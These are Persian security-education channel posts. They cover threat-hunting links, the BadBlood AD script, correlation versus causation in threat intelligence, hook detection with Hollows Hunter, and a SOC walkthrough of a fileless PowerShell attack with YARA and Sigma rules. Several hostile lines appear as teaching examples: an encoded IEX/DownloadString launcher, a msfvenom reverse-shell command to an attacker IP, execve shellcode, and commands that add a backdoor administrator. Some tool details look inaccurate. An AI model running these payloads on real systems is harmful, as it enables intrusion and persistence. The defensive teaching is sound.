💫یه تبلیغی هست که میگه رویاها را باید زندگی کرد.

💢نمیتوان کاری نکرد اما انتظار معجزه داشت.

باید حرکت کنی و وقت بذاری و پس انداز کنی و درجایش خرج کنی.

کمی مانده به پایان سال .
خودمون رو جمع و جور کنیم ببینیم چی می‌خواستیم و چی شد.

برای ۱۴۰۴ برنامه ریزی کنیم و از همون ثانیه اول در ۱ فروردین با تمام روح و جانمون بهش وفادار باشیم.

🔆تهیه اون برنامه نیاز داره که این یکماه براش وقت بذاری و از گذشته عبرت بگیری و خواست هات رو دقیق کنی.

کلا هدف داریم و استراتژی

استراتژی راهکاری برای رسیدن به هدفه

- هدف باید دقیق ، شفاف و شور انگیز باشه

- استراتژی باید دقیق ، عاقلانه و قابل اجرا باشه

بعدش میمونه تعهد شما به برنامه ؛ این تعهد لازمش اینه که هر لحظه جهت حرکت خودتو و برنامه رو بپایی.

🔴نکته: نمیشه همه چیز رو با هم داشت. نیاز به نادیده گرفتن و نه گفتن هست و شاید قربانی دادن؛ تا یک برنامه موفق نوشته بشه.


✅️بسم الله:
💫رویاهاتون رو زندگی کنید.

ابزاری نوین از مندینت( گوگل)

استخراج کانفیگ بدافزار بصورت اتوماتیک بدون اجرای آن

بسیار جالب

استفاده از این ابزار برای هانت

#آکادمی_روزبه

https://www.googlecloudcommunity.com/gc/Community-Blog/Consuming-Backscatter-Information-to-Perform-Threat-Hunting/ba-p/863828?linkId=12843927

نکته ی روز : یک Wiper برای اکتیو دایرکتوری

اسکریپت BadBlood یک اسکریپت PowerShell است که به‌طور خاص میتواند برای تخریب یک دامنه Active Directory استفاده شود. این اسکریپت با تغییر یا حذف کاربران، گروه‌ها، سیاست‌ها و سایر تنظیمات AD، محیط را به‌طور کامل غیرقابل بازیابی می‌کند. یعنی یک ساختار جدیدی بنا میکند.
بنابراین، عملکرد آن به نوعی مشابه یک وایپر برای AD است، زیرا باعث از بین رفتن کامل داده‌ها و تنظیمات می‌شود.

به هوش باشید .

پی نوشت: اصولا این اسکریپت برای آماده سازی یک محیط اکتیو دایرکتوری برای تست و آموزش میباشد.
اما در امنیت تقریبا همه چیز دولبه است حتی انسان‌

#من_آموزش_میدهم
#آکادمی_روزبه

https://github.com/davidprowe/BadBlood

یک اشتباهی که رایج شده استفاده از Wazuh بعنوان EDR است .

اما اون یک EDR نیست

#آکادمی_روزبه

https://www.edr-telemetry.com/eligibility.html

تحلیل جامع Lokcbit 4

#آکادمی_روزبه

یکی از نشانه های پیشرفت وجود اسناد خوش نگارش فنی هست

از استرالیا بخوانیم

#آکادمی_روزبه

برای مصاحبه تیم قرمز

#آکادمی_روزبه

با من با زبان استدلال سخن بگوی!!
گامی در تقویت استدلال منطقی.

🟣تفاوت اساسی بین همبستگی (Correlation) و علیت (Causation)
در هوش تهدیدات سایبری (Cyber Threat Intelligence - CTI)

۱. همبستگی (Correlation)
همبستگی به این معنی است که بین دو متغیر یا دو رویداد، نوعی ارتباط آماری وجود دارد، اما لزوماً یکی باعث وقوع دیگری نمی‌شود. در دنیای CTI، ممکن است مشاهده کنیم که دو نوع حمله سایبری در یک بازه زمانی خاص رخ داده‌اند، اما این به این معنی نیست که یکی باعث دیگری شده است.
🔶️مثال در CTI:
فرض کنید در یک بازه زمانی مشخص، تعداد حملات فیشینگ افزایش یافته و در همان دوره تعداد حملات بدافزاری نیز بیشتر شده است. این دو رویداد با هم همبستگی دارند، اما ممکن است هیچ رابطه علّی مستقیمی بین آنها وجود نداشته باشد. شاید یک عامل مشترک (مثل تعطیلات یا یک کمپین جدید هکری) باعث افزایش هر دو شده باشد.
۲. علیت (Causation)
علیت به این معنی است که یک رویداد مستقیماً علت رویداد دیگری است. در CTI، اگر بتوانیم نشان دهیم که یک حمله سایبری خاص مستقیماً باعث نقض امنیتی یا رخنه داده شده است، این یک رابطه علّی است.
🔶️مثال در CTI:
اگر بررسی کنیم که یک ایمیل فیشینگ حاوی بدافزار، باعث آلوده شدن سیستم و در نتیجه استخراج اطلاعات حساس شده است، این یک رابطه علّی محسوب می‌شود. یعنی حمله فیشینگ مستقیماً منجر به آلودگی و سرقت اطلاعات شده است.
🔴چرا این تفاوت در CTI مهم است؟

✔️تصمیم‌گیری درست: اگر صرفاً بر همبستگی تکیه کنیم، ممکن است اقدامات امنیتی نادرستی انجام دهیم، چون فکر می‌کنیم دو رویداد به هم مرتبط هستند، در حالی که اینطور نیست.
✔️تشخیص دقیق تهدیدات: تحلیلگران CTI باید بتوانند مشخص کنند که آیا یک عامل تهدید مستقیماً باعث یک حمله شده یا صرفاً رویدادهای مشابهی در یک زمان رخ داده‌اند.
✔️بهبود پاسخ به تهدیدات: درک علیت به تیم‌های امنیتی کمک می‌کند که روی ریشه مشکل تمرکز کنند، به جای اینکه منابع خود را روی شاخص‌های صرفاً همبسته هدر دهند.

به طور خلاصه، همبستگی نشان می‌دهد که دو رویداد با هم مرتبط هستند، اما علیت نشان می‌دهد که یک رویداد علت وقوع رویداد دیگر است. در تحلیل تهدیدات سایبری، باید مراقب باشیم که صرفاً بر همبستگی تکیه نکنیم و تا حد امکان روابط علّی را کشف کنیم.

=============================
🔵سناریو
۱: همبستگی (Correlation)
فرض کنید تیم امنیتی یک بانک در حال تحلیل لاگ‌های امنیتی است و متوجه می‌شود که افزایش درخواست‌های لاگین ناموفق (Failed Login Attempts) با افزایش ترافیک غیرعادی به سرورهای بانک هم‌زمان شده است.
🔍 تحلیل اولیه:
ممکن است این دو رویداد با هم همبستگی داشته باشند.
اما آیا حملات لاگین ناموفق علت افزایش ترافیک غیرعادی است؟ هنوز مشخص نیست!
احتمال دارد هر دو به دلیل یک عامل خارجی مثل حمله گسترده بات‌نت یا کمپین حمله هماهنگ رخ داده باشند.
🟧 اشتباه رایج: اگر تیم امنیتی بدون بررسی بیشتر فرض کند که این حملات لاگین ناموفق علت اصلی افزایش ترافیک است، ممکن است منابع خود را روی اشتباهات کاربران متمرکز کند و حمله واقعی (مثلاً اسکن گسترده پورت‌ها توسط یک بات‌نت) را نادیده بگیرد.


سناریو ۲: علیت (Causation)
تیم امنیتی بررسی بیشتری انجام می‌دهد و با تحلیل رفتار مهاجم (TTPs - Tactics, Techniques, and Procedures) متوجه می‌شود که افزایش تلاش‌های ناموفق لاگین ناشی از یک حمله Brute Force روی RDP سرورها بوده است. پس از آن، یک لاگین موفق مشکوک از یک آدرس IP ناشناس رخ داده که منجر به اجرای یک بدافزار و استخراج داده‌ها شده است.
🔍 تحلیل فنی:
بررسی لاگ‌ها نشان می‌دهد که پس از چندین تلاش لاگین ناموفق، یک تلاش موفق از همان IP انجام شده است.
لاگین موفق باعث اجرای یک PowerShell Script مشکوک شده که از سرور C2 (Command & Control) دستور می‌گیرد.
این اسکریپت در نهایت به دزدیده شدن اطلاعات حساس مشتریان بانک منجر شده است.
✅ نتیجه: در اینجا، یک رابطه علّی (Causation) تایید شده است:
حمله Brute Force منجر به یک لاگین موفق شد.
پس از لاگین، اسکریپت مخرب اجرا شد.
اجرای اسکریپت باعث استخراج داده‌ها شد.


#من_آموزش_میدهم

**استدلال منطقی و تفکر نقادانه یکی از مهارت های مهم در امنیت سایبری است.

#آکادمی_روزبه

همه چیز را با امنیت بیاورید در سازمان
کوبرنتیز و امنیت


#آکادمی_روزبه

https://www.armosec.io/blog/kubernetes-security-best-practices/?utm_source=chatgpt.com

🟣تمرین :کشف هوک

✍️روزبه نوروزی


همونطور که گفتم بدافزارهایی مابین تماس برنامه ها با سیستم عامل قرار می‌گیرند به این می‌گویند هوک کردن . از این طریق اقدام به شنود و تغییر رفتار و اعمال برنامه اصلی می‌کنند.

✔️حالا بیایید تمرین عملی با ابزار داشته باشیم


مثال استفاده از ابزار Hollows Hunter برای تشخیص API Hooking و تزریق کد

ابزار Hollows Hunter ابزاری از Nektra است که برای تشخیص تزریق کد، Hooking و دستکاری در حافظه پردازش‌ها استفاده می‌شود. این ابزار می‌تواند روش‌هایی مانند Inline Hooking، DLL Injection، Hollow Process Injection و Patch کردن کدهای حافظه را شناسایی کند.
۱. دانلود و اجرای Hollows Hunter

ابتدا ابزار را از Nektra دانلود کنید.

نسخه GUI (گرافیکی) و CLI (خط فرمان) موجود است.
در این مثال از نسخه CLI استفاده می‌کنیم.

۲. اسکن کردن تمام پردازش‌های در حال اجرا

یک روش رایج برای تشخیص API Hooking، بررسی همه پردازش‌ها برای یافتن کدهای تغییر یافته است.

دستور زیر را در CMD با دسترسی Administrator اجرا کنید:

HollowsHunter.exe /all

این دستور همه پردازش‌های در حال اجرا را اسکن کرده و اگر Hooking یا تزریق کد وجود داشته باشد، گزارش می‌دهد.
۳. بررسی یک پردازش خاص

برای اسکن یک پردازش خاص (مثلاً explorer.exe)، می‌توانید از PID یا نام آن استفاده کنید:

HollowsHunter.exe /pid 1234

یا

HollowsHunter.exe /proc explorer.exe

اگر پردازش موردنظر Hook شده باشد، ابزار گزارشی مانند زیر نمایش می‌دهد:

[!] Process explorer.exe (PID 1234) has modified memory regions!
[!] Suspicious injection detected at address 0x7FFXXXXXXX

۴. بررسی DLLهای بارگذاری‌شده برای Hooking

برای تشخیص DLL Injection و بررسی تغییرات در کتابخانه‌های بارگذاری‌شده:

HollowsHunter.exe /hooks

این دستور بررسی می‌کند که آیا توابع سیستم‌عامل مانند ntdll.dll و kernel32.dll تغییر کرده‌اند یا نه. اگر تغییری وجود داشته باشد، گزارش می‌دهد که این DLLها Hook شده‌اند.
۵. ذخیره گزارش برای بررسی دقیق‌تر

برای ذخیره خروجی در یک فایل (برای بررسی بیشتر یا ارسال به تیم تحلیل )، می‌توانید از این دستور استفاده کنید:

HollowsHunter.exe /all /json report.json

این دستور خروجی را در قالب JSON ذخیره می‌کند که برای تحلیل بیشتر قابل استفاده است.
۶. حذف فرآیندهای مشکوک

اگر ابزار نشانه‌هایی از Hooking یا تزریق کد پیدا کند، می‌توان پردازش را به‌صورت دستی متوقف کرد:

taskkill /PID 1234 /F

اما دقت کنید: قبل از بستن یک پردازش، باید مطمئن شوید که پردازش مخرب است، زیرا برخی از ابزارهای امنیتی ممکن است به‌طور طبیعی از Hooking استفاده کنند.

🔰جمع‌بندی

✅ابزار Hollows Hunter یک ابزار قدرتمند برای تحلیل حافظه و کشف Hooking است.
✅ می‌توان از آن برای تشخیص Inline Hooking، DLL Injection و تغییرات در حافظه APIها استفاده کرد.
✅ با استفاده از CLI، می‌توان خروجی را در فرمت JSON ذخیره و بررسی کرد.
✅ این ابزار برای تحلیل بدافزار، Threat Hunting و Forensics بسیار مفید است.

#من_آموزش_میدهم
#آکادمی_روزبه

تحلیل روز بخوانیم

#آکادمی_روزبه

https://www.esentire.com/blog/mintsloader-stealc-and-boinc-delivery

تزریق در صفحات بازدیدی کاربران

#آکادمی_روزبه

مقاله ترند میکرو

https://www.trendmicro.com/en_us/research/25/b/chinese-speaking-group-manipulates-seo-with-badiis.html

مقاله اسپلانک برای کشف

#آکادمی_روزبه

https://www.splunk.com/en_us/blog/security/fantastic-iis-modules-and-how-to-find-them.html

کاتالوگ متریک مقاومت سایبری

#آکادمی_روزبه

پادکستی که توسط NotebookLM گوگل برای لینک زیر تولید کردم.

#آکادمی_روزبه

https://medium.com/@manuel.arrieta_34860/powershell-threat-hunting-identifying-obfuscation-using-standard-deviation-9b2d9f53697f

پادکستی که توسط NotebookLM گوگل برای لینک زیر تولید کردم.

#آکادمی_روزبه

https://www.googlecloudcommunity.com/gc/Community-Blog/Consuming-Backscatter-Information-to-Perform-Threat-Hunting/ba-p/863828

نقش ها و مسوولیت ها در تیم CTI

#آکادمی_روزبه

https://readmedium.com/the-cti-team-roles-and-responsibilities-you-need-bdd3c03f781e

شناسایی حمله از طریق پاورشل
به همراه اقدامات برای هانت

🟣بررسی یک حمله دم دستی

امروز میخوام بجای یک ایده جدید ، یه حمله تیپیکال که در SOC میبینید رو با هم مرور کنیم.

📌 سناریو:

یک مهاجم از طریق PowerShell اقدام به اجرای یک fileless attack در شبکه سازمان کرده است. SOC یک هشدار دریافت کرده که نشان می‌دهد یک فرآیند مشکوک PowerShell با پارامترهای مبهم‌سازی‌شده (obfuscated) اجرا شده است.

🔆هدف ما:

شناسایی حمله با بررسی لاگ‌های PowerShell.
بررسی ارتباطات شبکه‌ای مخرب.
استخراج payload مخرب از حافظه.
تحلیل بدافزار و روش‌های آن.
ارائه راهکارهای مقابله و همچنین شکار تهدید برای جلوگیری از حملات مشابه در آینده و کشف های جدید

🔍 ۱. بررسی اولیه هشدار و کشف فرآیند مشکوک

فرآیند powershell.exe با پارامترهای زیر اجرا شده است:

powershell.exe -NoP -NonI -ExecutionPolicy Bypass -EncodedCommand SQBFAFgA

این مقدار Base64 encoded است. برای رمزگشایی، در PowerShell دستور زیر را اجرا می‌کنیم:

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SQBFAFgA"))

📌 نتیجه: این مقدار به دستور Invoke-Expression (IEX) تبدیل می‌شود، که نشانه‌ای از اجرای یک کد از راه دور است.
🔍 ۲. جستجوی فرآیندهای مشکوک در اسپلانک

index=windows EventCode=4104 | search "IEX(" OR "DownloadString(" OR "Convert.FromBase64String("

📌 نتیجه: مشاهده چندین اجرای مشکوک از PowerShell همراه با DownloadString که نشان‌دهنده دانلود payload از اینترنت است.
🔍 ۳. بررسی ارتباطات شبکه‌ای مشکوک

برای بررسی اینکه PowerShell به چه دامنه‌هایی متصل شده، از netstat استفاده می‌کنیم:

Get-NetTCPConnection | Where-Object { $_.RemoteAddress -like "*.*.*.*" }

📌 نتیجه: مشاهده یک ارتباط به http://malicious[.]domain/payload.ps1

✅ گام بعدی: استفاده از Wireshark برای مشاهده ترافیک HTTP و استخراج داده‌ها:

http.request.full_uri contains "malicious[.]domain"

📌 نتیجه: مهاجم در حال دانلود یک payload مخرب است.
🔍 ۴. استخراج کد مخرب از حافظه برای تحلیل بیشتر

از ابزار Volatility برای بررسی فرآیند powershell.exe و استخراج کد استفاده می‌کنیم:

volatility -f memory.dmp --profile=Win10x64 procdump -p 1234 -D output/

📌 نتیجه: مشاهده کدی که در حافظه لود شده است. این کد شامل یک Reflective DLL Injection می‌باشد.

🔹 آنالیز بیشتر با YARA برای بررسی رفتار کد استخراج‌شده:

rule Suspicious_PowerShell {
meta:
description = "Detects obfuscated PowerShell payloads"
strings:
$a = "IEX("
$b = "DownloadString"
$c = "System.Reflection.Assembly::Load"
condition:
any of ($a,$b,$c)
}

📌 نتیجه: این کد دارای قابلیت اجرای Reflective DLL Injection است، که در حملات APT به‌کار می‌رود.
🔍 ۵. تحلیل پیشرفته‌تر با Sysmon برای شناسایی رفتار مهاجم

ابزار Sysmon یکی از بهترین ابزارها برای شکار رفتارهای مخرب PowerShell است. برای بررسی، از sysmon -c خروجی می‌گیریم:

Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Select-String "powershell.exe"

📌 نتیجه: مشاهده Event ID 1 (Process Creation) که نشان می‌دهد PowerShell با پارامترهای مشکوک اجرا شده است.

✅ گام بعدی:

ساخت یک قانون Sigma برای شناسایی اجرای مشابه در آینده:

title: Suspicious PowerShell Execution
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains:
- "NoP -NonI -ExecutionPolicy Bypass"
- "IEX("
- "DownloadString("
condition: selection

📌 مزیت:
🚨 هر زمان که دستورات مشابه اجرا شود، یک هشدار در SIEM ایجاد خواهد شد.
🎯 نتیجه‌گیری و اقدامات برای جلوگیری از حملات مشابه
✅ اقدامات شکار تهدید (Threat Hunting Actions)

✔ مانیتورینگ Event ID 4104 در SIEM برای شناسایی اجرای اسکریپت‌های مشکوک.
✔ تحلیل ارتباطات شبکه‌ای با Wireshark برای تشخیص دامنه‌های مخرب.
✔ استخراج و تحلیل payload از حافظه با Volatility برای بررسی روش‌های مهاجم.
✔ ایجاد قوانین YARA و Sigma برای تشخیص اجرای کدهای مخرب.
✔ استفاده از Sysmon برای نظارت بر اجرای فرآیندهای PowerShell

#من_آموزش_میدهم
#تجربه

#آکادمی_روزبه

از مقولات مدرن در معماری امنیت

#آکادمی_روزبه

#امنیت_به_زبان_ساده

⏮️پی‌لود (Payload) چیست؟

در زمینه‌ی امنیت سایبری و اکسپلویت‌ها، پی‌لود (Payload) به بخشی از یک کد مخرب گفته می‌شود که پس از بهره‌برداری (Exploit) از یک آسیب‌پذیری ؛ اجرا می‌شود.
به عبارت دیگر، پی‌لود همان محتوای اصلی حمله است که هدفش انجام یک عملیات خاص روی سیستم قربانی است، مانند اجرای یک Shellcode، دانلود بدافزار، ایجاد درب پشتی (Backdoor) یا سرقت داده‌ها.

🟪مثال‌های پی‌لود

☑️اجرای یک معکوس شل (Reverse Shell)
در این روش، مهاجم پس از نفوذ به سیستم، پی‌لودی را اجرا می‌کند که یک ارتباط معکوس به سمت مهاجم باز کند. مثلاً در Metasploit، می‌توان از این پی‌لود استفاده کرد:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > shell.exe

یعنی پس از نفوذ اولیه ؛ این پی‌لود یک Meterpreter Reverse Shell ایجاد می‌کند که پس از اجرا روی سیستم قربانی، به آدرس IP مهاجم متصل شده و دستورات را از راه دور اجرا می‌کند. ( تمرینی در درس سنز ۵۰۴)

☑️استفاده از Shellcode برای اجرای یک دستور ساده
اگر بخواهیم پی‌لودی که فقط یک دستور ساده روی سیستم اجرا کند، مثال زیر را در Assembly x86 داریم:

section .text
global _start

_start:
xor eax, eax
push eax
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp
push eax
mov edx, eax
mov ecx, eax
mov al, 0xb ; syscall execve
int 0x80

این کد یک Shellcode ساده است که /bin/sh را اجرا می‌کند.

☑️درج یک درب‌پشتی در سیستم قربانی
اگر مهاجم بخواهد پس از نفوذ به سیستم، یک درب‌پشتی دائمی ایجاد کند، ممکن است پی‌لودی بسازد که یک کاربر جدید اضافه کند:

net user hacker Pass123 /add
net localgroup administrators hacker /add

این دستورات، یک کاربر جدید به نام "hacker" را ایجاد کرده و آن را به گروه مدیران اضافه می‌کنند.

✳️نتیجه‌گیری

پی‌لود بخش اصلی یک حمله‌ی سایبری است و می‌تواند کارهای مختلفی انجام دهد، از اجرای یک شل ساده گرفته تا دانلود و اجرای بدافزارهای پیچیده. در تست نفوذ و امنیت سایبری، شبیه‌سازی پی‌لودها برای ارزیابی امنیت سیستم‌ها امری رایج است.


#من_آموزش_میدهم
#آکادمی_روزبه